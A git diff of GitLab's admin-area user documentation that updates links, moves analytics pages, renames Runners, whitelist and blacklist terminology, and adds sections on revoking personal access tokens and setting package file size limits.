+++ b/doc/user/admin_area/activating_deactivating_users.md
@@ -44,7 +44,7 @@ Please note that for the deactivation option to be visible to an admin, the user
Users can also be deactivated using the [GitLab API](../../api/users.md#deactivate-user).
NOTE: **Note:**
-A deactivated user does not consume a [seat](../../subscriptions/index.md#choosing-the-number-of-users).
+A deactivated user does not consume a [seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users).
## Activating a user
@@ -63,7 +63,7 @@ Users can also be activated using the [GitLab API](../../api/users.md#activate-u
NOTE: **Note:**
Activating a user will change the user's state to active and it consumes a
-[seat](../../subscriptions/index.md#choosing-the-number-of-users).
+[seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users).
TIP: **Tip:**
A deactivated user can also activate their account themselves by simply logging back in via the UI.
diff --git a/doc/user/admin_area/analytics/convdev.md b/doc/user/admin_area/analytics/convdev.md
new file mode 100644
index 00000000000..3ffda3f4400
--- /dev/null
+++ b/doc/user/admin_area/analytics/convdev.md
@@ -0,0 +1,5 @@
+---
+redirect_to: 'dev_ops_report.md'
+---
+
+This document was moved to [another location](dev_ops_report.md).
diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md
new file mode 100644
index 00000000000..f04bd69b76b
--- /dev/null
+++ b/doc/user/admin_area/analytics/dev_ops_report.md
@@ -0,0 +1,29 @@
+# DevOps Report
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3.
+> - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6.
+
+NOTE: **Note:**
+Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature.
+
+The DevOps Report gives you an overview of your entire instance's adoption of
+[Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/)
+from planning to monitoring.
+
+## DevOps Score
+
+DevOps Score displays the usage of GitLab's major features on your instance over
+the last 30 days, averaged over the number of active users in that time period. It also
+provides a Lead score per feature, which is calculated based on GitLab's analysis
+of top-performing instances based on [usage ping data](../settings/usage_statistics.md#usage-ping) that GitLab has
+collected. Your score is compared to the lead score of each feature and then expressed as a percentage at the bottom of said feature.
+Your overall **DevOps Score** is an average of your feature scores. You can use this score to compare your DevOps status to other organizations.
+
+![DevOps Report](img/dev_ops_report_v13_4.png)
+
+The page also provides helpful links to articles and GitLab docs, to help you
+improve your scores.
+
+Usage ping data is aggregated on GitLab's servers for analysis. Your usage
+information is **not sent** to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for data to be
+collected before this feature is available.
diff --git a/doc/user/admin_area/analytics/img/cohorts_v13_4.png b/doc/user/admin_area/analytics/img/cohorts_v13_4.png
new file mode 100644
index 00000000000..4af1841a033
--- /dev/null
+++ b/doc/user/admin_area/analytics/img/cohorts_v13_4.png
Binary files differ
diff --git a/doc/user/admin_area/analytics/img/dev_ops_report_v13_4.png b/doc/user/admin_area/analytics/img/dev_ops_report_v13_4.png
new file mode 100644
index 00000000000..1fa070a6915
--- /dev/null
+++ b/doc/user/admin_area/analytics/img/dev_ops_report_v13_4.png
Binary files differ
diff --git a/doc/user/admin_area/analytics/index.md b/doc/user/admin_area/analytics/index.md
new file mode 100644
index 00000000000..b3336b471f8
--- /dev/null
+++ b/doc/user/admin_area/analytics/index.md
@@ -0,0 +1,10 @@
+# Instance-level analytics
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41416) in GitLab 11.2.
+
+Administrators have access to instance-wide analytics, as shown in **Admin Area > Analytics**.
+
+There are two kinds of statistics:
+
+- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage.
+- [User Cohorts](user_cohorts.md): Display the monthly cohorts of new users and their activities over time.
diff --git a/doc/user/admin_area/analytics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md
new file mode 100644
index 00000000000..faf8caa7e00
--- /dev/null
+++ b/doc/user/admin_area/analytics/user_cohorts.md
@@ -0,0 +1,29 @@
+# Cohorts
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/23361) in GitLab 9.1.
+
+As a benefit of having the [usage ping active](../settings/usage_statistics.md),
+GitLab lets you analyze the users' activities over time of your GitLab installation.
+
+## Overview
+
+How do we read the user cohorts table? Let's take an example with the following
+user cohorts.
+
+![User cohort example](img/cohorts_v13_4.png)
+
+For the cohort of March 2020, three users have been added on this server and have
+been active since this month. One month later, in April 2020, two users are
+still active. Five months later (August), we can see that one user from this cohort
+is active, or 33% of the original cohort of three that joined in March.
+
+The Inactive users column shows the number of users who have been added during
+the month, but who have never actually had any activity in the instance.
+
+How do we measure the activity of users? GitLab considers a user active if:
+
+- The user signs in.
+- The user has Git activity (whether push or pull).
+- The user visits pages related to Dashboards, Projects, Issues, and Merge Requests ([introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/54947) in GitLab 11.8).
+- The user uses the API
+- The user uses the GraphQL API
diff --git a/doc/user/admin_area/blocking_unblocking_users.md b/doc/user/admin_area/blocking_unblocking_users.md
index 2f98709a089..d8dde317d38 100644
--- a/doc/user/admin_area/blocking_unblocking_users.md
+++ b/doc/user/admin_area/blocking_unblocking_users.md
@@ -33,7 +33,7 @@ Personal projects, and group and user history of the blocked user will be left i
Users can also be blocked using the [GitLab API](../../api/users.md#block-user).
NOTE: **Note:**
-A blocked user does not consume a [seat](../../subscriptions/index.md#choosing-the-number-of-users).
+A blocked user does not consume a [seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users).
## Unblocking a user
@@ -48,4 +48,4 @@ Users can also be unblocked using the [GitLab API](../../api/users.md#unblock-us
NOTE: **Note:**
Unblocking a user will change the user's state to active and it consumes a
-[seat](../../subscriptions/index.md#choosing-the-number-of-users).
+[seat](../../subscriptions/self_managed/index.md#choose-the-number-of-users).
diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md
index 9259c93cfa3..7f2d49dafea 100644
--- a/doc/user/admin_area/credentials_inventory.md
+++ b/doc/user/admin_area/credentials_inventory.md
@@ -13,7 +13,7 @@ type: howto
GitLab administrators are responsible for the overall security of their instance. To assist, GitLab provides a Credentials inventory to keep track of all the credentials that can be used to access their self-managed instance.
-Using Credentials inventory, GitLab administrators can see all the personal access tokens and SSH keys that exist in their instance and:
+Using Credentials inventory, you can see all the personal access tokens (PAT) and SSH keys that exist in your GitLab instance. In addition, you can [revoke them](#revoke-a-users-personal-access-token) and see:
- Who they belong to.
- Their access scope.
@@ -25,4 +25,19 @@ To access the Credentials inventory, navigate to **Admin Area > Credentials**.
The following is an example of the Credentials inventory page:
-![Credentials inventory page](img/credentials_inventory_v13_2.png)
+![Credentials inventory page](img/credentials_inventory_v13_4.png)
+
+## Revoke a user's personal access token
+
+[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214811) in GitLab 13.4.
+
+If you see a **Revoke** button, you can revoke that user's PAT. Whether you see a **Revoke** button depends on the token state, and if an expiration date has been set. For more information, see the following table:
+
+| Token state | [Token expiry enforced?](settings/account_and_limit_settings.md#optional-enforcement-of-personal-access-token-expiry) | Show Revoke button? | Comments |
+|-------------|------------------------|--------------------|----------------------------------------------------------------------------|
+| Active | Yes | Yes | Allows administrators to revoke the PAT, such as for a compromised account |
+| Active | No | Yes | Allows administrators to revoke the PAT, such as for a compromised account |
+| Expired | Yes | No | PAT expires automatically |
+| Expired | No | Yes | The administrator may revoke the PAT to prevent indefinite use |
+| Revoked | Yes | No | Not applicable; token is already revoked |
+| Revoked | No | No | Not applicable; token is already revoked |
diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md
index d17e0f7430c..28738ed52f3 100644
--- a/doc/user/admin_area/geo_nodes.md
+++ b/doc/user/admin_area/geo_nodes.md
@@ -8,7 +8,7 @@ type: howto
# Geo nodes Admin Area **(PREMIUM ONLY)**
You can configure various settings for GitLab Geo nodes. For more information, see
-[Geo documentation](../../administration/geo/replication/index.md).
+[Geo documentation](../../administration/geo/index.md).
On the primary node, go to **Admin Area > Geo**. On secondary nodes, go to **Admin Area > Geo > Nodes**.
diff --git a/doc/user/admin_area/img/credentials_inventory_v13_2.png b/doc/user/admin_area/img/credentials_inventory_v13_2.png
deleted file mode 100644
index 5b56422a0a3..00000000000
--- a/doc/user/admin_area/img/credentials_inventory_v13_2.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/img/credentials_inventory_v13_4.png b/doc/user/admin_area/img/credentials_inventory_v13_4.png
new file mode 100644
index 00000000000..06925ea2f6f
--- /dev/null
+++ b/doc/user/admin_area/img/credentials_inventory_v13_4.png
Binary files differ
diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md
index 8aa50bb0496..58430ab615b 100644
--- a/doc/user/admin_area/index.md
+++ b/doc/user/admin_area/index.md
@@ -20,8 +20,8 @@ The Admin Area is made up of the following sections:
| Section | Description |
|:-----------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| **{overview}** [Overview](#overview-section) | View your GitLab [Dashboard](#admin-dashboard), and administer [projects](#administering-projects), [users](#administering-users), [groups](#administering-groups), [jobs](#administering-jobs), [Runners](#administering-runners), and [Gitaly servers](#administering-gitaly-servers). |
-| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit logs](#audit-log-premium-only). |
+| **{overview}** [Overview](#overview-section) | View your GitLab [Dashboard](#admin-dashboard), and administer [projects](#administering-projects), [users](#administering-users), [groups](#administering-groups), [jobs](#administering-jobs), [runners](#administering-runners), and [Gitaly servers](#administering-gitaly-servers). |
+| **{monitor}** Monitoring | View GitLab [system information](#system-info), and information on [background jobs](#background-jobs), [logs](#logs), [health checks](monitoring/health_check.md), [requests profiles](#requests-profiles), and [audit logs](#audit-log). |
| **{messages}** Messages | Send and manage [broadcast messages](broadcast_messages.md) for your users. |
| **{hook}** System Hooks | Configure [system hooks](../../system_hooks/system_hooks.md) for many events. |
| **{applications}** Applications | Create system [OAuth applications](../../integration/oauth_provider.md) for integrations with other services. |
@@ -147,7 +147,7 @@ The following totals are also included:
GitLab billing is based on the number of **Active users**, calculated as **Total users** -
**Blocked users**. For details of active users, see
-[Choosing the number of users](../../subscriptions/index.md#choosing-the-number-of-users).
+[Choosing the number of users](../../subscriptions/self_managed/index.md#choose-the-number-of-users).
NOTE: **Note:**
Users statistics are calculated daily, so user changes made since the last update won't be
@@ -196,51 +196,51 @@ For each job, the following details are listed:
| Timing | Duration of the job, and how long ago the job completed. |
| Coverage | Percentage of tests coverage. |
-### Administering Runners
+### Administering runners
-You can administer all Runners in the GitLab instance from the Admin Area's **Runners** page. See
-[GitLab Runner](https://docs.gitlab.com/runner/) for more information on Runner itself.
+You can administer all runners in the GitLab instance from the Admin Area's **Runners** page. See
+[GitLab Runner](https://docs.gitlab.com/runner/) for more information.
To access the **Runners** page, go to **Admin Area > Overview > Runners**.
The **Runners** page features:
-- A description of Runners, and their possible states.
-- Instructions on installing a Runner.
-- A list of all registered Runners.
+- A description of runners and their possible states.
+- Instructions on installing a runner.
+- A list of all registered runners.
Runners are listed in descending order by the date they were created, by default. You can change
the sort order to *Last Contacted* from the dropdown beside the search field.
-To search Runners' descriptions:
+To search runners' descriptions:
-1. In the **Search or filter results...** field, type the description of the Runner you want to
+1. In the **Search or filter results...** field, type the description of the runner you want to
find.
1. Press Enter.
-You can also filter Runners by status, type, and tag. To filter:
+You can also filter runners by status, type, and tag. To filter:
1. Click in the **Search or filter results...** field.
1. Select **status:**, **type:**, or **tag:**.
1. Select or enter your search criteria.
-![Attributes of a Runner, with the **Search or filter results...** field active](img/index_runners_search_or_filter.png)
+![Attributes of a runner, with the **Search or filter results...** field active](img/index_runners_search_or_filter.png)
-For each Runner, the following attributes are listed:
+For each runner, the following attributes are listed:
| Attribute | Description |
| ------------ | ----------- |
| Type | One or more of the following states: shared, group, specific, locked, or paused |
-| Runner token | Token used to identify the Runner, and which the Runner uses to communicate with the GitLab instance |
-| Description | Description given to the Runner when it was created |
+| Runner token | Token used to identify the runner, and which the runner uses to communicate with the GitLab instance |
+| Description | Description given to the runner when it was created |
| Version | GitLab Runner version |
-| IP address | IP address of the host on which the Runner is registered |
-| Projects | Projects to which the Runner is assigned |
-| Jobs | Total of jobs run by the Runner |
-| Tags | Tags associated with the Runner |
-| Last contact | Timestamp indicating when the GitLab instance last contacted the Runner |
+| IP address | IP address of the host on which the runner is registered |
+| Projects | Projects to which the runner is assigned |
+| Jobs | Total of jobs run by the runner |
+| Tags | Tags associated with the runner |
+| Last contact | Timestamp indicating when the GitLab instance last contacted the runner |
-You can also edit, pause, or remove each Runner.
+You can also edit, pause, or remove each runner.
### Administering Gitaly servers
diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md
index 2c849db66b1..ecbc615f56a 100644
--- a/doc/user/admin_area/license.md
+++ b/doc/user/admin_area/license.md
@@ -125,7 +125,7 @@ before uploading your license.
GitLab.com users cannot upload and use a self-managed license. If you
wish to use paid features on GitLab.com, a separate subscription may be
-[purchased](../../subscriptions/index.md#subscribe-to-gitlabcom).
+[purchased](../../subscriptions/gitlab_com/index.md).
### Users exceed license limit upon renewal
diff --git a/doc/user/admin_area/monitoring/convdev.md b/doc/user/admin_area/monitoring/convdev.md
index 2ba28d4bc1c..d9c3950f2e4 100644
--- a/doc/user/admin_area/monitoring/convdev.md
+++ b/doc/user/admin_area/monitoring/convdev.md
@@ -1,5 +1,5 @@
---
-redirect_to: '../../instance_statistics/dev_ops_score.md'
+redirect_to: '../analytics/dev_ops_report.md'
---
-Conversational Development Index was renamed to [DevOps Score](../../instance_statistics/dev_ops_score.md) in GitLab 12.6.
+Conversational Development Index was renamed to [DevOps Report](../analytics/dev_ops_report.md) in GitLab 12.6.
diff --git a/doc/user/admin_area/monitoring/dev_ops_report.md b/doc/user/admin_area/monitoring/dev_ops_report.md
new file mode 100644
index 00000000000..9ad9830ed59
--- /dev/null
+++ b/doc/user/admin_area/monitoring/dev_ops_report.md
@@ -0,0 +1,5 @@
+---
+redirect_to: '../analytics/dev_ops_report.md'
+---
+
+This document was moved to [another location](../analytics/dev_ops_report.md).
diff --git a/doc/user/admin_area/monitoring/dev_ops_score.md b/doc/user/admin_area/monitoring/dev_ops_score.md
deleted file mode 100644
index f8b66531f2f..00000000000
--- a/doc/user/admin_area/monitoring/dev_ops_score.md
+++ /dev/null
@@ -1,5 +0,0 @@
----
-redirect_to: '../../instance_statistics/dev_ops_score.md'
----
-
-This document was moved to [another location](../../instance_statistics/dev_ops_score.md).
diff --git a/doc/user/admin_area/monitoring/health_check.md b/doc/user/admin_area/monitoring/health_check.md
index 329b6ff5bb0..2a38ccb31f0 100644
--- a/doc/user/admin_area/monitoring/health_check.md
+++ b/doc/user/admin_area/monitoring/health_check.md
@@ -153,7 +153,7 @@ https://gitlab.example.com/-/readiness?token=ACCESS_TOKEN
```
NOTE: **Note:**
-In case the database or Redis service are unaccessible, the probe endpoints response is not guaranteed to be correct.
+In case the database or Redis service are inaccessible, the probe endpoints response is not guaranteed to be correct.
You should switch to [IP whitelist](#ip-whitelist) from deprecated access token to avoid it.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md
index 4651a548ff9..957f84206e9 100644
--- a/doc/user/admin_area/settings/account_and_limit_settings.md
+++ b/doc/user/admin_area/settings/account_and_limit_settings.md
@@ -81,7 +81,7 @@ The repository size limit includes repository files and LFS, and does not includ
For details on manually purging files, see [reducing the repository size using Git](../../project/repository/reducing_the_repo_size_using_git.md).
NOTE: **Note:**
-GitLab.com repository size [is set by GitLab](../../gitlab_com/index.md#repository-size-limit).
+GitLab.com repository size [is set by GitLab](../../gitlab_com/index.md#account-and-limit-settings).
## Troubleshooting
@@ -137,7 +137,7 @@ Once a lifetime for personal access tokens is set, GitLab will:
> - It is deployed behind a feature flag, disabled by default.
> - It is disabled on GitLab.com.
> - It is not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-optional-enforcement-of-personal-access-token-expiry-feature-core-only). **(CORE ONLY)**
+> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-optional-enforcement-of-personal-access-token-expiry-feature). **(CORE ONLY)**
GitLab administrators can choose to prevent personal access tokens from expiring automatically. The tokens will be usable after the expiry date, unless they are revoked explicitly.
diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md
index 0479da7fb52..b4867d33644 100644
--- a/doc/user/admin_area/settings/continuous_integration.md
+++ b/doc/user/admin_area/settings/continuous_integration.md
@@ -7,7 +7,7 @@ type: reference
# Continuous Integration and Deployment Admin settings **(CORE ONLY)**
-In this area, you will find settings for Auto DevOps, Runners, and job artifacts.
+In this area, you will find settings for Auto DevOps, runners, and job artifacts.
You can find it in the **Admin Area > Settings > CI/CD**.
![Admin Area settings button](../img/admin_area_settings_button.png)
@@ -86,13 +86,13 @@ be updated for artifacts created before this setting was changed.
The administrator may need to manually search for and expire previously-created
artifacts, as described in the [troubleshooting documentation](../../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#remove-artifacts-more-than-a-week-old).
-## Shared Runners pipeline minutes quota **(STARTER ONLY)**
+## Shared runners pipeline minutes quota **(STARTER ONLY)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1078) in GitLab Starter 8.16.
-If you have enabled shared Runners for your GitLab instance, you can limit their
+If you have enabled shared runners for your GitLab instance, you can limit their
usage by setting a maximum number of pipeline minutes that a group can use on
-shared Runners per month. Setting this to `0` (default value) will grant
+shared runners per month. Setting this to `0` (default value) will grant
unlimited pipeline minutes. While build limits are stored as minutes, the
counting is done in seconds. Usage resets on the first day of each month.
On GitLab.com, the quota is calculated based on your
@@ -116,7 +116,7 @@ also change each group's pipeline minutes quota to override the global value.
1. Click **Save changes** for the changes to take effect.
Once saved, you can see the build quota in the group admin view.
-The quota can also be viewed in the project admin view if shared Runners
+The quota can also be viewed in the project admin view if shared runners
are enabled.
![Project admin information](img/admin_project_quota_view.png)
@@ -196,7 +196,9 @@ To set required pipeline configuration:
![Required pipeline](img/admin_required_pipeline.png)
-## Package Registry configuration **(PREMIUM ONLY)**
+## Package Registry configuration
+
+### NPM Forwarding **(PREMIUM ONLY)**
GitLab administrators can disable the forwarding of NPM requests to [npmjs.com](https://www.npmjs.com/).
@@ -208,3 +210,15 @@ To disable it:
1. Click **Save changes**.
![NPM package requests forwarding](img/admin_package_registry_npm_package_requests_forward.png)
+
+### Package file size limits
+
+GitLab administrators can adjust the maximum allowed file size for each package type.
+
+To set the maximum file size:
+
+1. Go to **Admin Area > Settings > CI/CD**.
+1. Expand the **Package Registry** section.
+1. Find the package type you would like to adjust.
+1. Enter the maximum file size, in bytes.
+1. Click **Save size limits**.
diff --git a/doc/user/admin_area/settings/external_authorization.md b/doc/user/admin_area/settings/external_authorization.md
index c5c5f08aea1..0b250e07412 100644
--- a/doc/user/admin_area/settings/external_authorization.md
+++ b/doc/user/admin_area/settings/external_authorization.md
@@ -22,11 +22,11 @@ known response, the result is cached for 6 hours.
If the external authorization is enabled, GitLab will further block pages and
functionality that render cross-project data. That includes:
-- most pages under Dashboard (Activity, Milestones, Snippets, Assigned merge
- requests, Assigned issues, Todos)
-- under a specific group (Activity, Contribution analytics, Issues, Issue boards,
- Labels, Milestones, Merge requests)
-- Global and Group search will be disabled
+- Most pages under Dashboard (Activity, Milestones, Snippets, Assigned merge
+ requests, Assigned issues, To-Do List).
+- Under a specific group (Activity, Contribution analytics, Issues, Issue boards,
+ Labels, Milestones, Merge requests).
+- Global and Group search will be disabled.
This is to prevent performing to many requests at once to the external
authorization service.
diff --git a/doc/user/admin_area/settings/img/domain_blacklist.png b/doc/user/admin_area/settings/img/domain_denylist.png
index a7e972b7c0a..a7e972b7c0a 100644
--- a/doc/user/admin_area/settings/img/domain_blacklist.png
+++ b/doc/user/admin_area/settings/img/domain_denylist.png
Binary files differ
diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md
index db6dbb7f38b..ba9bccbf3e7 100644
--- a/doc/user/admin_area/settings/index.md
+++ b/doc/user/admin_area/settings/index.md
@@ -42,7 +42,7 @@ Access the default page for admin area settings by navigating to **Admin Area >
| Option | Description |
| ------ | ----------- |
-| [Repository's custom initial branch name](../../project/repository/branches/index.md#custom-initial-branch-name-core-only) | Set a custom branch name rather than master for all the new repositories created within your instance. |
+| [Repository's custom initial branch name](../../project/repository/branches/index.md#custom-initial-branch-name) | Set a custom branch name rather than master for all the new repositories created within your instance. |
| [Repository mirror](visibility_and_access_controls.md#allow-mirrors-to-be-set-up-for-projects) | Configure repository mirroring. |
| [Repository storage](../../../administration/repository_storage_types.md) | Configure storage path settings. |
| Repository maintenance | ([Repository checks](../../../administration/repository_checks.md) and [Housekeeping](../../../administration/housekeeping.md)). Configure automatic Git checks and housekeeping on repositories. |
@@ -60,8 +60,8 @@ Access the default page for admin area settings by navigating to **Admin Area >
| Option | Description |
| ------ | ----------- |
| [Continuous Integration and Deployment](continuous_integration.md) | Auto DevOps, runners and job artifacts. |
-| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration-premium-only) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration will be run after the project's own configuration. |
-| [Package Registry](continuous_integration.md#package-registry-configuration-premium-only) | Settings related to the use and experience of using GitLab's Package Registry. Note there are [risks involved](./../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. |
+| [Required pipeline configuration](continuous_integration.md#required-pipeline-configuration) **(PREMIUM ONLY)** | Set an instance-wide auto included [pipeline configuration](../../../ci/yaml/README.md). This pipeline configuration will be run after the project's own configuration. |
+| [Package Registry](continuous_integration.md#package-registry-configuration) | Settings related to the use and experience of using GitLab's Package Registry. Note there are [risks involved](./../../packages/container_registry/index.md#use-with-external-container-registries) in enabling some of these settings. |
## Reporting
@@ -106,7 +106,7 @@ Access the default page for admin area settings by navigating to **Admin Area >
| [Pages](../../../administration/pages/index.md#custom-domain-verification) | Size and domain settings for static websites |
| [Real-time features](../../../administration/polling.md) | Change this value to influence how frequently the GitLab UI polls for updates. |
| [Gitaly timeouts](gitaly_timeouts.md) | Configure Gitaly timeouts. |
-| Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours-core-only). |
+| Localization | [Default first day of the week](../../profile/preferences.md) and [Time tracking](../../project/time_tracking.md#limit-displayed-units-to-hours). |
NOTE: **Note:**
You can change the [Default first day of the week](../../profile/preferences.md) for the entire GitLab instance
diff --git a/doc/user/admin_area/settings/sign_up_restrictions.md b/doc/user/admin_area/settings/sign_up_restrictions.md
index 8ef5ac8dc8f..80092102091 100644
--- a/doc/user/admin_area/settings/sign_up_restrictions.md
+++ b/doc/user/admin_area/settings/sign_up_restrictions.md
@@ -6,14 +6,12 @@ type: reference
You can use sign-up restrictions to:
-- Disable new signups.
+- Disable new sign-ups.
- Require user email confirmation.
-- Blacklist or whitelist email addresses belonging to specific domains.
+- Denylist or allowlist email addresses belonging to specific domains.
NOTE: **Note:**
-These restrictions are only applied during sign-up from an external user. An admin is
-able to add a user through the admin panel with a disallowed domain. Also
-note that the users can change their email addresses after signup to
+These restrictions are only applied during sign-up from an external user. An admin can add a user through the admin panel with a disallowed domain. Also, note that the users can change their email addresses after sign-up to
disallowed domains.
## Disable new signups
@@ -26,12 +24,12 @@ You can restrict new users from signing up by themselves for an account in your
### Recommendations
-For customers running public facing GitLab instances, we highly recommend that you
-consider disabling new signups if you do not expect public users to sign up for an
+For customers running public-facing GitLab instances, we highly recommend that you
+consider disabling new sign-ups if you do not expect public users to sign up for an
account.
Alternatively, you could also consider setting up a
-[whitelist](#whitelist-email-domains) or [blacklist](#blacklist-email-domains) on
+[allowlist](#allowlist-email-domains) or [denylist](#denylist-email-domains) on
email domains to prevent malicious users from creating accounts.
## Require email confirmation
@@ -48,14 +46,14 @@ their email address before they are allowed to sign in.
You can [change](../../../security/password_length_limits.md#modify-minimum-password-length-using-gitlab-ui)
the minimum number of characters a user must have in their password using the GitLab UI.
-## Whitelist email domains
+## Allowlist email domains
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/598) in GitLab 7.11.0
-You can restrict users to only sign up using email addresses matching the given
+You can restrict users only to sign up using email addresses matching the given
domains list.
-## Blacklist email domains
+## Denylist email domains
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5259) in GitLab 8.10.
@@ -71,17 +69,17 @@ To access this feature:
1. Navigate to the **Admin Area > Settings > General**.
1. Expand the **Sign-up restrictions** section.
-For the blacklist, you can enter the list manually or upload a `.txt` file that
+For the denylist, you can enter the list manually or upload a `.txt` file that
contains list entries.
-For the whitelist, you must enter the list manually.
+For the allowlist, you must enter the list manually.
-Both the whitelist and blacklist accept wildcards. For example, you can use
+Both the allowlist and denylist accept wildcards. For example, you can use
`*.company.com` to accept every `company.com` subdomain, or `*.io` to block all
domains ending in `.io`. Domains should be separated by a whitespace,
semicolon, comma, or a new line.
-![Domain Blacklist](img/domain_blacklist.png)
+![Domain Denylist](img/domain_denylist.png)
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md
index f3eb094887e..55bbcfbe1d8 100644
--- a/doc/user/admin_area/settings/usage_statistics.md
+++ b/doc/user/admin_area/settings/usage_statistics.md
@@ -60,14 +60,11 @@ sequenceDiagram
See [Usage Ping guide](../../../development/telemetry/usage_ping.md).
-## Instance statistics visibility **(CORE ONLY)**
+## Instance-level statistics **(CORE ONLY)**
Once usage ping is enabled, GitLab will gather data from other instances and
-will be able to show [usage statistics](../../instance_statistics/index.md)
-of your instance to your users.
-
-To make this visible only to admins, go to **Admin Area > Settings > Metrics and profiling**, expand
-**Usage statistics**, and set the **Instance Statistics visibility** option to **Only admins**.
+will be able to show [usage statistics](../analytics/index.md)
+of your instance to your admins in **Admin Area > Analytics**.
<!-- ## Troubleshooting
diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md
index e5c7947399d..95a87378e18 100644
--- a/doc/user/admin_area/settings/visibility_and_access_controls.md
+++ b/doc/user/admin_area/settings/visibility_and_access_controls.md
@@ -78,7 +78,7 @@ CAUTION: **Warning:**
The default behavior of [Delayed Project deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/32935) in GitLab 12.6 was changed to
[Immediate deletion](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
-Projects within a group can be deleted after a delayed period, by [configuring in Group Settings](../../group/index.md#enabling-delayed-project-removal-premium).
+Projects within a group can be deleted after a delayed period, by [configuring in Group Settings](../../group/index.md#enabling-delayed-project-removal).
The default period is 7 days, and can be changed. Setting this period to 0 will enable immediate removal
of projects or groups.
@@ -92,7 +92,7 @@ To change this period:
Alternatively, projects that are marked for removal can be deleted immediately. To do so:
-1. [Restore the project](../../project/settings/#restore-a-project-premium).
+1. [Restore the project](../../project/settings/#restore-a-project).
1. Delete the project as described in the [Administering Projects page](../../admin_area/#administering-projects).
## Default project visibility
diff --git a/doc/user/admin_area/user_cohorts.md b/doc/user/admin_area/user_cohorts.md
index 21e61e2ec44..ec0153ac3b6 100644
--- a/doc/user/admin_area/user_cohorts.md
+++ b/doc/user/admin_area/user_cohorts.md
@@ -1,5 +1,5 @@
---
-redirect_to: '../instance_statistics/user_cohorts.md'
+redirect_to: 'analytics/user_cohorts.md'
---
-This document was moved to [another location](../instance_statistics/user_cohorts.md).
+This document was moved to [another location](analytics/user_cohorts.md).
diff --git a/doc/user/analytics/code_review_analytics.md b/doc/user/analytics/code_review_analytics.md
index 8c4c54153bb..89acb430a9f 100644
--- a/doc/user/analytics/code_review_analytics.md
+++ b/doc/user/analytics/code_review_analytics.md
@@ -10,40 +10,45 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/38062) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.7.
-Code Review Analytics makes it easy to view the longest-running reviews among open merge requests,
-enabling you to take action on individual merge requests and reduce overall cycle time.
+Code Review Analytics makes it easy to view the longest-running reviews among open merge requests and
+enables you to:
+
+1. Take action on individual merge requests.
+1. Reduce overall cycle time.
NOTE: **Note:**
-Initially, no data will appear. Data is populated as users comment on open merge requests.
+Initially, no data appears. Data is populated as users comment on open merge requests.
## Overview
Code Review Analytics displays a table of open merge requests that have at least one non-author comment. The review time is measured from the time the first non-author comment was submitted.
-The code review period for a merge request is automatically identified as the time since the first non-author comment.
-To access Code Review Analytics, from your project's menu, go to **{chart}** **Project Analytics > Code Review**.
+To access Code Review Analytics, from your project's menu, go to **Project Analytics > Code Review**.
+
+You can filter the list of merge requests by milestone and label.
![Code Review Analytics](img/code_review_analytics_v12_8.png "List of code reviews; oldest review first.")
-- The table is sorted by review duration, helping you quickly find the longest-running reviews which may need intervention or to be broken down into smaller parts.
-- You can filter the list of MRs by milestone and label.
-- Columns to display the author, approvers, comment count, and line change (-/+) counts.
+The table is sorted by:
+
+- **Review time**: Helping you to quickly find the longest-running reviews which may need intervention
+ or to be broken down into smaller parts.
+- Other columns: Display the author, approvers, comment count, and line change (-/+) counts.
## Use cases
